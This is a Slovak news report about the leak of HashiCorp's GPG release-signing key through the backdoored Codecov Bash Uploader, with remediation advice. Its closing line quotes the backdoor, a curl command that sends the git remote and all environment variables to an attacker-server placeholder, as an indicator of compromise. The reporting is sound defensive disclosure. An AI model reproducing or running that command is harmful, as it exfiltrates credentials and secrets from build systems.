Spoločnosť HashiCorp, známa vývojom otvorených nástrojov Vagrant, Packer, Nomad a Terraform, oznámila únik súkromného GPG kľúča používaného na vytváranie digitálnych podpisov, ktoré overujú vydania. Útočníci, ktorí získali prístup k GPG kľúču, potenciálne mohli uskutočniť skryté zmeny v produktoch HashiCorp a potvrdili ich správnym digitálnym podpisom. Spoločnosť však uviedla, že počas vykonaného auditu neboli zistené stopy pokusov o takéto úpravy.
V súčasnosti bol kompromitovaný GPG kľúč odvolaný a bol zavedený nový kľúč. Problém sa týkal iba overovania prostredníctvom súborov SHA256SUM a SHA256SUM.sig, a nedotkol sa vytvárania digitálnych podpisov pre Linuxové balíky DEB a RPM dodávané prostredníctvom releases.hashicorp.com, ani mechanizmov potvrdenia vydania pre macOS a Windows (AuthentiCode).
Únik nastal kvôli používaniu skriptu Codecov Bash Uploader (codecov-bash) v infraštruktúre, ktorý slúži na nahrávanie coverage správ zo systémov kontinuálnej integrácie. Počas útoku na spoločnosť Codecov bol do uvedeného skriptu skryto zavedený zadný vchod, prostredníctvom ktorého bola organizovaná zasielanie hesiel a šifrovacích kľúčov na server server.
Na hackovanie útočníci využili chybu v procese vytvárania Docker obrazu Codecov, ktorá umožnila extrakciu údajov pre prístup k GCS (Google Cloud Storage), potrebných na vykonanie zmien v skripte Bash Uploader, ktorý sa šíril z webu codecov.io. Zmeny boli vykonané už 31. januára, dva mesiace zostali bez povšimnutia a umožnili útočníkom extrahovať informácie uložené v prostrediach systémov kontinuálnej integrácie zákazníkov. Pomocou pridaného škodlivého kódu mohli útočníci získať informácie o testovanom Git repozitóriu a všetkých premenných prostredia, vrátane tokenov, šifrovacích kľúčov a hesiel, ktoré sa odosielali do systémov kontinuálnej integrácie na organizáciu prístupu k kódu aplikácií, úložiskám a službám, ako sú Amazon Web Services a GitHub.
Okrem priameho volania sa skript Codecov Bash Uploader používal v rámci iných nahrávačov, ako sú Codecov-action (Github), Codecov-circleci-orb a Codecov-bitrise-step, ktorých používatelia sú taktiež vystavení problému. Všetkým používateľom codecov-bash a súvisiacich produktov sa odporúča vykonať audit svojich infraštruktúr a zmeniť heslá a šifrovacie kľúče. Kontrolu na prítomnosť backdooru v skripte je možné vykonať podľa prítomnosti riadku curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://<IP-servera-útočníkov>/upload/v2 || true
Zdroj: opennet.ru
